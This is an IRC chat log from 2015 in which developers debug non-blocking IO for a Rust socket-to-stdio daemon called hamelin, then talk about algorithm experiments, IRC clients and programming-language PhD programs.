[2015-02-07T23:30:01-0500] <+awe> hardmath123: backend written
[2015-02-07T23:30:09-0500] <+awe> hardmath123: just gotten plug it into the frontend
[2015-02-07T23:31:10-0500] <+hardmath123> yay
[2015-02-07T23:40:48-0500] <+awe> Hmm.
[2015-02-07T23:42:00-0500] <+awe> Not working, and now I need to figure out if it's glue code or more fundamental
[2015-02-07T23:42:09-0500] <+hardmath123> uh-oh
[2015-02-07T23:42:14-0500] <+hardmath123> what's broken?
[2015-02-07T23:42:32-0500] <+awe> It didn't give me output.
[2015-02-07T23:43:49-0500] <+hardmath123> server?
[2015-02-07T23:44:00-0500] <+awe> Hmm.
[2015-02-07T23:44:16-0500] <+hardmath123> try it against grep --line-buffered cow
[2015-02-07T23:44:21-0500] <+hardmath123> that's an easy one that should work
[2015-02-07T23:44:42-0500] <+awe> Okay.
[2015-02-07T23:44:44-0500] <+awe> Did write back cow.
[2015-02-07T23:44:51-0500] <+awe> Crashed immediately afterward.
[2015-02-07T23:44:53-0500] <+awe> But I know why.
[2015-02-07T23:45:02-0500] <+awe> Actually, didn't really crash, per se.
[2015-02-07T23:45:10-0500] <+awe> The thread died.
[2015-02-07T23:45:31-0500] <+hardmath123> cool
[2015-02-07T23:45:34-0500] <+awe> OH.
[2015-02-07T23:45:36-0500] <+awe> I know what's happening.
[2015-02-07T23:46:22-0500] <+awe> It's not advancing past the first line because it's hanging waiting to read another line.
[2015-02-07T23:46:24-0500] <+awe> Just like you said.
[2015-02-07T23:46:25-0500] <+awe> lol
[2015-02-07T23:46:36-0500] <+hardmath123> ha
[2015-02-07T23:46:39-0500] • hardmath123: is vindicated.
[2015-02-07T23:47:13-0500] <+awe> Easy fix, I think.
[2015-02-07T23:48:44-0500] <+hardmath123> You think. But it's nontrivial.
[2015-02-07T23:49:05-0500] <+awe> Nope, I was thinking of it wrong.
[2015-02-07T23:49:08-0500] <+awe> There's an easy fix for networking.
[2015-02-07T23:49:13-0500] <+hardmath123> :P
[2015-02-07T23:49:33-0500] <+hardmath123> I think you have to use `select` calls at some point.
[2015-02-07T23:49:38-0500] <+hardmath123> Idk if Rust has bindings to them.
[2015-02-07T23:52:33-0500] <+hardmath123> this whole thing, by the way, is trivial in nodejs.
[2015-02-07T23:52:38-0500] <+hardmath123> just sayin' :P
[2015-02-07T23:53:36-0500] <+awe> It would be trivial in Rust if the IO support wasn't shit.
[2015-02-07T23:54:49-0500] <+hardmath123> "It would be trivial in [...] if it supported [...]" is kind of a moot statement.
[2015-02-07T23:55:00-0500] <+awe> No.
[2015-02-07T23:55:09-0500] <+awe> I mean, it would be trivial if they were done with stupid IO reform.
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[2015-02-08T00:05:00-0500] <+awe> hardmath123: Basically, current IO is 100% blocking. I'm doing research to find out how I can do non-blocking IO for this.
[2015-02-08T00:07:13-0500] <+hardmath123> Use the C select call.
[2015-02-08T00:07:18-0500] <+awe> I know what select is.
[2015-02-08T00:07:20-0500] <+hardmath123> If Rust doesn't provide it, implement bindings.
[2015-02-08T00:07:25-0500] <+awe> I'm not writing non-blocking IO myself.
[2015-02-08T00:08:18-0500] <+hardmath123> But it shouldn't be too hard to write bindings to the C select call?
[2015-02-08T00:08:20-0500] <+hardmath123> That's all you need.
[2015-02-08T00:08:22-0500] <+hardmath123> Sort of.
[2015-02-08T00:08:35-0500] <bob_twinkles> pls2epoll
[2015-02-08T00:10:08-0500] <+awe> The worst part is there IS a non-blocking IO library.
[2015-02-08T00:10:09-0500] <+awe> mio.
[2015-02-08T00:10:32-0500] <+awe> but I'm not sure if there's an easy way to do this because Command and Process come from std::old_io which is blocking.
[2015-02-08T00:10:32-0500] <+awe> .-.
[2015-02-08T00:10:40-0500] <+awe> well, but they give PipeStreams which are non-blocking
[2015-02-08T00:10:47-0500] <+awe> but there's no way to read a line from that because it's not buffered.
[2015-02-08T00:11:34-0500] <bob_twinkles> is there nothing like BufferedInputStream?
[2015-02-08T00:11:58-0500] <+awe> BufferedStream/BufferedReader
[2015-02-08T00:12:04-0500] <+awe> but they're blocking.
[2015-02-08T00:13:05-0500] <+hardmath123> I'm worried that this isn't a solved problem in this language.
[2015-02-08T00:13:11-0500] <+awe> I am, too.
[2015-02-08T00:13:51-0500] <+hardmath123> I'm pretty sure you need `select` to do this, though.
[2015-02-08T00:14:35-0500] <+awe> You need non-blocking IO, yes.
[2015-02-08T00:14:37-0500] <+awe> We've covered that.
[2015-02-08T00:14:51-0500] <bob_twinkles> IoResult is a promise?
[2015-02-08T00:15:22-0500] <+awe> ?
[2015-02-08T00:15:23-0500] <+awe> No.
[2015-02-08T00:15:24-0500] <bob_twinkles> no, it's a specialization of Result
[2015-02-08T00:17:00-0500] <bob_twinkles> in what way is Reader<PipeStream> non-blocking?
[2015-02-08T00:17:12-0500] <+awe> It gives mixed signals.
[2015-02-08T00:17:13-0500] <+awe> synchronous, but non-blocking reads/writes.
[2015-02-08T00:17:53-0500] <bob_twinkles> oh, it fails if it can't perform the action
[2015-02-08T00:18:04-0500] <+awe> Also, Reader<PipeStream> doesn't work.
[2015-02-08T00:18:06-0500] <+awe> It's just PipeStream.
[2015-02-08T00:18:08-0500] <+awe> PipeStream is a Reader.
[2015-02-08T00:18:32-0500] <bob_twinkles> eh, I was guessing at the syntax =P
[2015-02-08T00:21:25-0500] <+awe> It's fine. I'm just going to hope that PipeStream is actually non-blocking
[2015-02-08T00:21:34-0500] <+awe> and then implement my own read line.
[2015-02-08T00:21:38-0500] <+awe> wooo
[2015-02-08T00:21:56-0500] <+awe> Fuck whoever thought synchronous-only I/O was a good idea!
[2015-02-08T00:22:49-0500] <bob_twinkles> 's easier to implement =P
[2015-02-08T00:24:48-0500] <+awe> You know what wasn't easy to implement?
[2015-02-08T00:24:53-0500] <+awe> The rest of the language.
[2015-02-08T00:24:57-0500] <+awe> Why take this one shortcut?
[2015-02-08T00:26:10-0500] <bob_twinkles> they got tired
[2015-02-08T00:26:26-0500] <bob_twinkles> wrote the IO module while taking a nap
[2015-02-08T00:35:46-0500] <+awe> Okay.
[2015-02-08T00:35:48-0500] <+awe> It does block.
[2015-02-08T00:35:54-0500] <+awe> Even though it says non-blocking.
[2015-02-08T00:37:52-0500] <bob_twinkles> so the docs are really just a test of your commitment
[2015-02-08T00:39:51-0500] <+awe> Well, it says synchronous, and non-blocking.
[2015-02-08T00:39:55-0500] <+awe> which makes no sense.
[2015-02-08T00:41:04-0500] <bob_twinkles> I think that means "succeed if data is available/we can write, otherwise fail immediatily"
[2015-02-08T00:41:15-0500] <bob_twinkles> though clearly that's not how it's currently working =P
[2015-02-08T00:41:16-0500] <+awe> doesn't do that though.
[2015-02-08T00:41:21-0500] <+awe> I was hoping that's what it did.
[2015-02-08T00:43:49-0500] <+awe> Okay, mio doesn't even compile right now because of an upstream project.
[2015-02-08T00:43:52-0500] <+awe> I'm out for the night.
[2015-02-08T00:44:15-0500] <alokpathy> G'night.
[2015-02-08T00:44:24-0500] <+awe> I'm incredible amounts of pissed about how bad Rust's IO is.
[2015-02-08T00:44:54-0500] <+awe> Maybe I'll try to write a hamelin daemon in Haskell.
[2015-02-08T00:45:02-0500] <+awe> Which'll be a painful exercise in its own right.
[2015-02-08T00:48:13-0500] <+awe> hardmath123: but yes, I'm not surprised that the language of callback hell (aka JS) excels at a task dependent on async.
[2015-02-08T00:51:07-0500] <+awe> Nevermind. I found a fix for the upstream thing.
[2015-02-08T00:51:10-0500] <+awe> Will continue to try for tonight.
[2015-02-08T00:57:14-0500] <assface> just re-watched Full Metal Jacket
[2015-02-08T00:57:20-0500] <assface> heavy mang
[2015-02-08T01:09:17-0500] <+awe> Okay. So, my implementation of read line async
[2015-02-08T01:09:18-0500] <+awe> works!
[2015-02-08T01:09:19-0500] <+awe> BUT
[2015-02-08T01:09:22-0500] <+awe> It doesn't work.
[2015-02-08T01:09:27-0500] <+awe> It crashes when there's actually something to read. :)
[2015-02-08T01:09:30-0500] <+awe> But I'm getting there.
[2015-02-08T01:09:39-0500] <+awe> bob_twinkles: you'll be happy, this uses epoll ;)
[2015-02-08T01:09:44-0500] <bob_twinkles> =D
[2015-02-08T01:09:58-0500] <+awe> mio is pretty cool.
[2015-02-08T01:10:46-0500] <bob_twinkles> i.e. it has working non-blocking IO? =P
[2015-02-08T01:11:51-0500] <+awe> Yes.
[2015-02-08T01:11:57-0500] <+awe> Well, it's pretty cool in general.
[2015-02-08T01:12:05-0500] <+awe> It's a nice posix-style IO library for Rust.
[2015-02-08T01:12:12-0500] <+awe> Kind of like libuv.
[2015-02-08T01:12:29-0500] <+awe> But yeah, I'll be much happier when our standard library has non-blocking IO.
[2015-02-08T01:13:51-0500] <bob_twinkles> isn't the rust runtime implemented on top of libuv?
[2015-02-08T01:14:27-0500] <+awe> Is or was.
[2015-02-08T01:14:34-0500] <+awe> I think was.
[2015-02-08T01:14:42-0500] <+awe> That's why they're writing IO.
[2015-02-08T01:15:15-0500] <bob_twinkles> so uh
[2015-02-08T01:15:21-0500] <bob_twinkles> the rust site uses a font I don't have
[2015-02-08T01:16:33-0500] <bob_twinkles> so.. http://imgur.com/mtVfZol
[2015-02-08T01:17:51-0500] <+awe> LOL
[2015-02-08T01:18:21-0500] <bob_twinkles> makes it really frickin difficult to navigate
[2015-02-08T01:18:56-0500] <+hardmath123> awe: nice.
[2015-02-08T01:19:21-0500] <+hardmath123> awe: I'm going to write a hamelin-TCPd in C just to level-up my C skills.
[2015-02-08T01:19:44-0500] <+hardmath123> or maybe i'll do a readline-based one first
[2015-02-08T01:20:46-0500] <+awe> lol
[2015-02-08T01:20:50-0500] <+awe> That'll be interesting.
[2015-02-08T01:28:07-0500] <+awe> hardmath123: okay, I'm getting somewhere.
[2015-02-08T01:28:14-0500] <+awe> hardmath123: cat /usr/share/dict/words | nc localhost 30000
[2015-02-08T01:28:18-0500] <+awe> hardmath123: now returns abed
[2015-02-08T01:28:25-0500] <+awe> when I'm searching for bed.
[2015-02-08T01:30:07-0500] <+hardmath123> shouldn't it also return... "bed"?
[2015-02-08T01:30:55-0500] <+awe> http://sprunge.us/IDZg
[2015-02-08T01:30:56-0500] <+awe> uhh...
[2015-02-08T01:31:00-0500] <+awe> hardmath123: it was only returning the first one
[2015-02-08T01:31:11-0500] <+awe> hardmath123: now it's returning the first one and then a bunch of other garbage?
[2015-02-08T01:31:48-0500] <+hardmath123> lol
[2015-02-08T01:31:51-0500] <+hardmath123> this is great
[2015-02-08T01:32:07-0500] <+hardmath123> why so many "graphs"?
[2015-02-08T01:32:44-0500] <+awe> I don't know.
[2015-02-08T01:32:47-0500] <+awe> I have no idea what's wrong!
[2015-02-08T01:32:54-0500] <+awe> It's getting there though!
[2015-02-08T01:33:48-0500] <+awe> possible lead.
[2015-02-08T01:33:48-0500] <+awe> cow
[2015-02-08T01:33:48-0500] <+awe> cow
[2015-02-08T01:33:48-0500] <+awe> holy cow
[2015-02-08T01:33:48-0500] <+awe> holy cow
[2015-02-08T01:33:48-0500] <+awe> cows
[2015-02-08T01:33:48-0500] <+awe> cows
[2015-02-08T01:33:48-0500] <+awe> mmm cows
[2015-02-08T01:33:48-0500] <+awe> cow
[2015-02-08T01:33:48-0500] <+awe> cow
[2015-02-08T01:33:48-0500] <+awe> mmm cows
[2015-02-08T01:33:48-0500] <+awe> cow
[2015-02-08T01:33:48-0500] <+awe> cow
[2015-02-08T01:33:52-0500] <+awe> first is call
[2015-02-08T01:33:53-0500] <+awe> second is response
[2015-02-08T01:34:08-0500] <+hardmath123> that's good
[2015-02-08T01:34:11-0500] <+hardmath123> sort of
[2015-02-08T01:34:20-0500] <+awe> do you see when the issue occurs?
[2015-02-08T01:38:29-0500] <+hardmath123> mmm cows gets spit out too late
[2015-02-08T01:38:35-0500] <+hardmath123> but that isn't necessarily an issue?
[2015-02-08T01:38:39-0500] <+awe> No, it is.
[2015-02-08T01:38:43-0500] <+awe> It wasn't late.
[2015-02-08T01:38:44-0500] <+hardmath123> oh wrong order
[2015-02-08T01:38:46-0500] <+awe> The internal buffer is wrong.
[2015-02-08T01:38:47-0500] <+awe> Yeah.
[2015-02-08T01:38:50-0500] <+hardmath123> ewwww
[2015-02-08T01:38:56-0500] <+awe> Getting there though.
[2015-02-08T01:39:37-0500] <bob_twinkles> so basically the hamelin specification is "give me a bidirectional communication stream and push it to std[in/out] of this program?"
[2015-02-08T01:40:05-0500] <+hardmath123> yes.
[2015-02-08T01:41:14-0500] <+awe> Guess what?
[2015-02-08T01:41:33-0500] <+awe> http://sprunge.us/GaQQ
[2015-02-08T01:41:34-0500] <+awe> BOOM
[2015-02-08T01:42:15-0500] <+hardmath123> that's not all of them though
[2015-02-08T01:42:39-0500] <+hardmath123> the last one should be "worricow"
[2015-02-08T01:42:54-0500] <+hardmath123> (i know that by heart after battling with hamelin for so long)
[2015-02-08T01:43:29-0500] <+awe> Hmm.
[2015-02-08T01:43:29-0500] <+awe> Yes.
[2015-02-08T01:43:34-0500] <+awe> It does seem to be cut a bit short.
[2015-02-08T01:44:20-0500] <+hardmath123> probably because your process exits before your thingy empties the buffer
[2015-02-08T01:44:32-0500] <+awe> process exits?
[2015-02-08T01:44:33-0500] <+awe> Wat?
[2015-02-08T01:44:39-0500] <+hardmath123> process <=> server
[2015-02-08T01:44:57-0500] <+awe> I'm not sure about that.
[2015-02-08T01:45:04-0500] <+hardmath123> I am; same thing happened to me.
[2015-02-08T01:45:25-0500] <+hardmath123> And so far, you're running into all the issues I did.
[2015-02-08T01:45:26-0500] <+awe> why would it exit?
[2015-02-08T01:45:55-0500] <bob_twinkles> remote end closing sends the process SIGPIPE IIRC
[2015-02-08T01:46:13-0500] <+hardmath123> because it's done reading
[2015-02-08T01:46:13-0500] <+awe> hardmath123: and what was your solution then
[2015-02-08T01:47:37-0500] <+hardmath123> awe: my solution was to keep reading from the server's stdout until it sends you the empty string. that means you've exhausted everything in the buffer.
[2015-02-08T01:47:39-0500] <+hardmath123> awe: https://github.com/Hardmath123/hamelin/blob/master/hamelin-py/bin/hamelin.py#L110
[2015-02-08T01:47:49-0500] <+hardmath123> also i threw in a flush() for good measure
[2015-02-08T01:47:52-0500] <+hardmath123> because buffering, yo.
[2015-02-08T01:48:29-0500] <+awe> I already do that?
[2015-02-08T01:49:40-0500] <+hardmath123> it's a tricky thing, though, i wouldn't be surprised if you think you're doing it but you actually aren't
[2015-02-08T01:49:41-0500] <+awe> This isn't happening because I stopped reading from the server's stdout.
[2015-02-08T01:49:51-0500] <+hardmath123> oh
[2015-02-08T01:49:56-0500] <+awe> In fact, I just changed it so that I error on out.
[2015-02-08T01:49:59-0500] <+awe> timeout*
[2015-02-08T01:50:07-0500] <+hardmath123> ?
[2015-02-08T01:50:10-0500] <+awe> well
[2015-02-08T01:50:13-0500] <+awe> on when it would block.
[2015-02-08T01:50:14-0500] <+hardmath123> timeouts shouldn't be a thing here
[2015-02-08T01:50:27-0500] <+awe> it's not a timeout.
[2015-02-08T01:50:31-0500] <+hardmath123> ok
[2015-02-08T01:50:31-0500] <+awe> it's when the read operation would block.
[2015-02-08T01:50:59-0500] <+hardmath123> that's not a good reason to error
[2015-02-08T01:51:18-0500] <+hardmath123> the server itself might take a few seconds to process the stdin and return stdout later
[2015-02-08T01:51:37-0500] <+hardmath123> and read calls in between would block and err for no good reason
[2015-02-08T01:52:01-0500] <+awe> It's not supposed to error.
[2015-02-08T01:52:04-0500] <+awe> I just did it to test.
[2015-02-08T01:52:06-0500] <+awe> Don't worry.
[2015-02-08T01:52:32-0500] <+hardmath123> Ok, good.
[2015-02-08T01:52:41-0500] <+hardmath123> Next thing to test: is stuff from the socket being read all the way?
[2015-02-08T01:53:14-0500] <+hardmath123> also nvm c subprocesses are HARD. :P
[2015-02-08T01:53:20-0500] <+awe> Yes.
[2015-02-08T01:53:27-0500] <+awe> Hmm.
[2015-02-08T01:55:40-0500] <+hardmath123> why do you have to fork() to run something totally unrelated?
[2015-02-08T01:55:43-0500] <+hardmath123> seems weird.
[2015-02-08T01:56:35-0500] <+awe> Okay.
[2015-02-08T01:56:36-0500] <+awe> I got it.
[2015-02-08T01:56:50-0500] <+awe> It was a bug in the async line reading still.
[2015-02-08T01:56:52-0500] <+awe> But it's fixed.
[2015-02-08T01:57:20-0500] <+hardmath123> ok
[2015-02-08T01:57:25-0500] <+hardmath123> i've been awake for a long time
[2015-02-08T01:57:26-0500] <+awe> So, it's working 100%.
[2015-02-08T01:57:29-0500] <+hardmath123> talk to you in a few hours
[2015-02-08T01:57:30-0500] <+awe> I did it, hardmath123.
[2015-02-08T01:57:33-0500] <+awe> hamelin.rs
[2015-02-08T01:57:33-0500] <+awe> :)
[2015-02-08T01:57:35-0500] <+hardmath123> congratulations, awe 
[2015-02-08T01:57:44-0500] <+awe> I need to actually take arguments now
[2015-02-08T01:57:49-0500] <+awe> but that's ez pz
[2015-02-08T02:04:52-0500] <+awe> hardmath123: it was so short before I had to implement asynchronous io :(
[2015-02-08T02:15:49-0500] <+awe> Okay, arguments is done.
[2015-02-08T02:37:26-0500] <+awe> hardmath123: There's now the first SSL hamelin daemon. ;)
[2015-02-08T02:47:14-0500] <+awe> hardmath123: unfortunately, it doesn't build without using a fixed version of nix-rust.
[2015-02-08T02:47:22-0500] <+awe> hardmath123: But that should be fixed soon, there's a PR for it.
[2015-02-08T02:47:29-0500] <+awe> https://github.com/aatxe/hamelin.rs
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[2015-02-08T10:25:49-0500] <JacobEdelman>    I have rearri ed
[2015-02-08T10:26:20-0500] <JacobEdelman> *rearrived
[2015-02-08T10:35:59-0500] <+hardmath123> awe: sweeeeet
[2015-02-08T11:29:17-0500] <+hardmath123> I think my chemistry homework is NP-hard.
[2015-02-08T11:37:43-0500] <JacobEdelman> hmmm... whats the easiest way to run a python program on a computer cluster?
[2015-02-08T11:37:50-0500] <JacobEdelman> heroku, aws, what?
[2015-02-08T11:40:35-0500] <JacobEdelman> (I have a program that it looks like will take (according to some quick wolfram alpha) around the time you would have to lay down until a bird pooped into your mouth)
[2015-02-08T11:40:55-0500] <+hardmath123> JacobEdelman: optimize your program.
[2015-02-08T11:41:02-0500] <JacobEdelman> yeah..
[2015-02-08T11:41:08-0500] <JacobEdelman> that quick estimate is way too long
[2015-02-08T11:41:13-0500] <+hardmath123> Also, with my luck, that's a constant time algorithm! :P
[2015-02-08T11:41:13-0500] <JacobEdelman> I'll actually have to make it faster
[2015-02-08T11:41:25-0500] <+hardmath123> Birds are mean.
[2015-02-08T11:41:31-0500] <JacobEdelman> thats annoying
[2015-02-08T11:41:38-0500] <JacobEdelman> I mean, i'm testing a theoretical cs thing
[2015-02-08T11:41:42-0500] <JacobEdelman> and becuase I'm evil
[2015-02-08T11:41:57-0500] <JacobEdelman> this is the smallest possible case that will tell me if it works
[2015-02-08T11:41:58-0500] <JacobEdelman> :P
[2015-02-08T11:42:14-0500] <JacobEdelman> (it has a complexity of something like 2^(2^n))
[2015-02-08T11:42:35-0500] <+hardmath123> Yikes.
[2015-02-08T11:46:16-0500] <JacobEdelman> although even "good", aka programing lang and simple memory usage optimizations that will make it take at least 1897137590064188545819787018382342682267975428761855001222473056385648716020711424 steps
[2015-02-08T11:46:26-0500] <JacobEdelman> so.... gonna have to make theoretical improvements if I want to fix it
[2015-02-08T11:47:00-0500] <+hardmath123> Yes, yes you are.
[2015-02-08T11:50:30-0500] <JacobEdelman> although this is for a theoretical cs discovery I think I made
[2015-02-08T11:50:44-0500] <JacobEdelman> what I'm effectively doing is brute forcing to find a program
[2015-02-08T11:51:11-0500] <+hardmath123> please tell me you aren't enumerating all k-length strings and piping them to a JavaScript interpreter
[2015-02-08T11:51:13-0500] <JacobEdelman> but, if I want to find an algo that is optimal for parameter n
[2015-02-08T11:51:13-0500] <+hardmath123> please
[2015-02-08T11:51:15-0500] <+hardmath123> please
[2015-02-08T11:51:16-0500] <JacobEdelman> no
[2015-02-08T11:51:17-0500] <+hardmath123> please
[2015-02-08T11:51:18-0500] <JacobEdelman> I'm not
[2015-02-08T11:51:20-0500] <JacobEdelman> don't worry
[2015-02-08T11:51:51-0500] <JacobEdelman> a) I'm not really finding a turing complete algo, I simplified the specific problem I'm trying to solve and I'm brute forcing all possible stratagies to solve it
[2015-02-08T11:51:57-0500] <JacobEdelman> b) I'm smarter than that now
[2015-02-08T11:52:11-0500] <JacobEdelman> (although I did once do something like that.... with brainf*** instead of js :P )
[2015-02-08T11:53:10-0500] <JacobEdelman> so, if I want to find the best stratagey for paremeter n, it takes me 2**2**n time, but the program that I can create to implement that stratagey would take (where m is the input of the program)  O(m+2**2**n)
[2015-02-08T11:53:35-0500] <JacobEdelman> aka, effectvitel O(m) .... just with gigombo aboumts of preproccessing time
[2015-02-08T11:53:37-0500] <JacobEdelman> *amounts
[2015-02-08T11:54:03-0500] <JacobEdelman> its like if I had a sorting algo which tooks n times plus 1000 years
[2015-02-08T11:54:12-0500] <JacobEdelman> I mean, its better than everything else in terms of big O
[2015-02-08T11:54:22-0500] <JacobEdelman> :P
[2015-02-08T11:57:25-0500] <+awe> JacobEdelman: You may be able to use a beam search algorithm instead of bruteforce?
[2015-02-08T11:57:54-0500] <JacobEdelman> awe: thats what I'm gonna try next
[2015-02-08T11:58:14-0500] <JacobEdelman> awe: although first i have to do hw
[2015-02-08T11:58:23-0500] <+awe> O k
[2015-02-08T12:56:17-0500] <+LittleBobbyTables> hey awe
[2015-02-08T13:15:08-0500] <JacobEdelman> so, I'm searching for stratagies with optimal fitness
[2015-02-08T13:15:22-0500] <JacobEdelman> whcih I have reason to suspect is maxed out at 1/3
[2015-02-08T13:15:27-0500] <JacobEdelman> and just as I suspect 
[2015-02-08T13:15:47-0500] <JacobEdelman> it quickly goes to 0.3, than slows down until 0.33 and gets even slower
[2015-02-08T13:15:52-0500] <JacobEdelman> than, all of a sudded
[2015-02-08T13:16:02-0500] <JacobEdelman> 0.333280109739   0.33332702332   0.333492002743
[2015-02-08T13:16:14-0500] <JacobEdelman> its better than I thought, but just barely :)
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[2015-02-08T13:32:38-0500] <+hardmath123> that moment when you have so many footnotes that your stream of asterisks is longer than the actual footnote*********
[2015-02-08T13:56:08-0500] <JacobEdelman> wow
[2015-02-08T14:25:17-0500] <+hardmath123> also i have so many packages in my latex doc that it takes like a whole minute to render 4 pages.
[2015-02-08T14:38:48-0500] <+awe> hardmath123: lol
[2015-02-08T14:39:05-0500] <+awe> JacobEdelman: so, did you switch to ZNC yet?
[2015-02-08T14:41:32-0500] <JacobEdelman> what irc client should I use?
[2015-02-08T14:41:37-0500] <JacobEdelman> I'm taking reccomendations
[2015-02-08T14:42:23-0500] <JacobEdelman> I'd like it to be pretty, yet featureful
[2015-02-08T14:42:46-0500] <JacobEdelman> I prefer something that is intuitive to use (so, it should use my mouse)
[2015-02-08T14:43:47-0500] <+awe> Pidgin is nice.
[2015-02-08T14:43:55-0500] <+awe> Textual is great, but it's OS X only.
[2015-02-08T14:44:36-0500] <+hardmath123> weechat!
[2015-02-08T14:44:40-0500] <JacobEdelman> I found a good one
[2015-02-08T14:44:48-0500] <JacobEdelman> hardmath123: not text based, please
[2015-02-08T14:44:51-0500] <+hardmath123> :(
[2015-02-08T14:45:11-0500] <+awe> JacobEdelman: I'm pretty sure Princeton is like the only school in the US where I can do what I want.
[2015-02-08T14:45:25-0500] <+hardmath123> awe: what do you want?
[2015-02-08T14:45:33-0500] <+awe> programming language and type theory
[2015-02-08T14:45:42-0500] <+awe> esp. functional language design and implementation
[2015-02-08T14:46:06-0500] <+awe> It's hard to find good graduate programs that focus on that aspect of programming languages
[2015-02-08T14:46:16-0500] <+awe> most of them are focused on low-level compiler optimizations
[2015-02-08T14:46:35-0500] <+hardmath123> hey have you read SICP?
[2015-02-08T14:46:39-0500] <+awe> N.
[2015-02-08T14:46:44-0500] <+awe> Heard of it, obviously.
[2015-02-08T14:46:46-0500] <+hardmath123> Ok.
[2015-02-08T14:46:48-0500] <+hardmath123> Here's what you do.
[2015-02-08T14:46:51-0500] <+hardmath123> You read SICP.
[2015-02-08T14:47:13-0500] <+hardmath123> When you've fallen in love with the book and become one with the grand Scheme of things, let me know.
[2015-02-08T14:47:38-0500] <+awe> lol
[2015-02-08T14:47:45-0500] <+hardmath123> Then you'll write a functional language compiler that will be used by thousands of students every day.
[2015-02-08T14:48:50-0500] <+awe> hardmath123: I don't need help falling in love with this stuff
[2015-02-08T14:48:55-0500] <+awe> hardmath123: I need to find a PhD program
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[2015-02-08T14:50:18-0500] <JacobEde-> weee!
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[2015-02-08T14:50:29-0500] <+hardmath123> yikes.
[2015-02-08T14:50:46-0500] <JacobEde-> hmmm
[2015-02-08T14:50:49-0500] <JacobEde-> I'll be back
[2015-02-08T14:50:49-0500] <+hardmath123> who's JacobEde-ohnoIT'SHIMEVERYONERUNFORCOVER
[2015-02-08T14:51:00-0500] <JacobEde-> hah, lol
[2015-02-08T14:52:11-0500] <+awe> Argh.
[2015-02-08T14:52:35-0500] <+awe> This is very hard.
[2015-02-08T14:52:46-0500] <+awe> CMU? Nothing.
[2015-02-08T14:52:49-0500] <+awe> MIT? Nothing.
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[2015-02-08T14:53:36-0500] <JacobEdelman> hmm..
[2015-02-08T14:53:38-0500] <JacobEdelman> much better
[2015-02-08T14:53:42-0500] <JacobEdelman> okay
[2015-02-08T14:53:48-0500] <JacobEdelman> now lemme try stuff
[2015-02-08T14:54:13-0500] <JacobEdelman> still working?
[2015-02-08T14:54:16-0500] <JacobEdelman> erg
[2015-02-08T14:54:28-0500] <JacobEdelman> what?
[2015-02-08T14:54:34-0500] <JacobEdelman> why am I JacobEde- ?
[2015-02-08T14:54:42-0500] <JacobEdelman> also, why is there a diff JacobEdelman
[2015-02-08T14:54:42-0500] <+awe> You're not?
[2015-02-08T14:54:49-0500] <+awe> There isn't?
[2015-02-08T14:54:52-0500] <+awe> What crack are you smoking?
[2015-02-08T14:54:53-0500] <JacobEdelman> wait, what? it looks like I'm JacobEdelman?
[2015-02-08T14:54:56-0500] <+awe> You are.
[2015-02-08T14:55:04-0500] <JacobEdelman> wow...
[2015-02-08T14:55:09-0500] <JacobEdelman> eh
[2015-02-08T14:55:33-0500] <JacobEdelman> oh wait
[2015-02-08T14:55:39-0500] <JacobEdelman> its probaly just my irc client
[2015-02-08T14:55:42-0500] <JacobEdelman> being weird
[2015-02-08T14:55:49-0500] <JacobEdelman> well, now I have znc
[2015-02-08T14:56:04-0500] <+awe> Columbia doesn't even have a programming language team.
[2015-02-08T14:57:31-0500] <+awe> As far as I know, I can either go to Princeton or go to the UK.
[2015-02-08T14:58:51-0500] <+hardmath123> I'm pretty sure Berkeley has some cool PL stuff happening; did you look into that?
[2015-02-08T14:58:59-0500] <+awe> I did.
[2015-02-08T14:59:01-0500] <+awe> They don't.
[2015-02-08T14:59:10-0500] <+hardmath123> Oh.
[2015-02-08T14:59:11-0500] <+awe> It's all low-level compiler optimizations.
[2015-02-08T14:59:28-0500] <+awe> http://www.eecs.berkeley.edu/Research/Areas/PS/
[2015-02-08T14:59:44-0500] <+awe> Current projects: http://www.eecs.berkeley.edu/Research/Projects/Areas/PS.html
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[2015-02-08T15:00:07-0500] <+awe> JacobEdelman_: why are you on irccloud again?
[2015-02-08T15:00:16-0500] <JacobEdelman> I'm testing stuffs
[2015-02-08T15:00:58-0500] <+awe> hardmath123: it seems like almost everyone is just sitting there making essentially the same projects.
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[2015-02-08T15:01:15-0500] <+awe> hardmath123: most of the schools are working on fault tolerance and error-finding stuff for C programs.
[2015-02-08T15:01:20-0500] <+awe> Including my own.
[2015-02-08T15:01:54-0500] <+awe> Most of them are working on some sort of parallelization DSL.
[2015-02-08T15:02:15-0500] <JacobEdelman> awe: I have a freind who does that
[2015-02-08T15:02:19-0500] <JacobEdelman> *friend
[2015-02-08T15:02:22-0500] <+awe> Which is interesting, but honestly, it makes more sense to do that with a functional language.
[2015-02-08T15:03:18-0500] <+awe> UW's CS site doesn't load. lol
[2015-02-08T15:04:27-0500] <JacobEdelman> awe: hmm... I'm not so sure that it does make more sense
[2015-02-08T15:04:37-0500] <+awe> Well, with a pure language.
[2015-02-08T15:04:43-0500] <JacobEdelman> maybe
[2015-02-08T15:04:44-0500] <+awe> You can automatically parallelize anything if it's pure.
[2015-02-08T15:05:16-0500] <JacobEdelman> my friend made parallel assertions for his phd
[2015-02-08T15:06:05-0500] <JacobEdelman> also, you don't necessarily want automatic parallelization, and despite the advantages of functional programming it has failed to catch on
[2015-02-08T15:06:24-0500] <JacobEdelman> which I'd argue is because its harder to use
[2015-02-08T15:06:28-0500] <+awe> Well, you can also do easy manual parallelization everywhere too.
[2015-02-08T15:06:47-0500] <JacobEdelman> well, maybe... but I still think non-functional has advantages
[2015-02-08T15:06:47-0500] <+awe> JacobEdelman: which just means that there needs to be work done on increasing it's accessibility.
[2015-02-08T15:07:30-0500] <+awe> Or alternatively that the load of awful that is making CS a vocational degree is stopping us from teaching people things that will help them think.
[2015-02-08T15:09:36-0500] <+awe> http://www.cs.cornell.edu/research/lang
[2015-02-08T15:09:37-0500] <+awe> Wow.
[2015-02-08T15:09:44-0500] <+awe> Okay, Cornell is in.
[2015-02-08T15:10:02-0500] <+awe> JacobEdelman: LOOK AT ALL THE PROFESSORS MENTIONING TYPE THEORY/TYPE SYSTEMS IN THEIR BIO.
[2015-02-08T15:10:05-0500] <+awe> IT'S BEAUTIFUL
[2015-02-08T15:11:00-0500] <+awe> "Recently he has been investigating capsules, which provide a clean algebraic representation of state in higher-order functional and imperative languages with mutable bindings"
[2015-02-08T15:11:01-0500] <+awe> Neat.
[2015-02-08T15:14:39-0500] <+awe> Benjamin Pierce still works at UPenn.
[2015-02-08T15:14:43-0500] <+awe> So, uhh, that's worth noting.
[2015-02-08T15:17:19-0500] <+awe> 3/4 UPenn Programming Language faculty have the phrase "type system" in their bio.
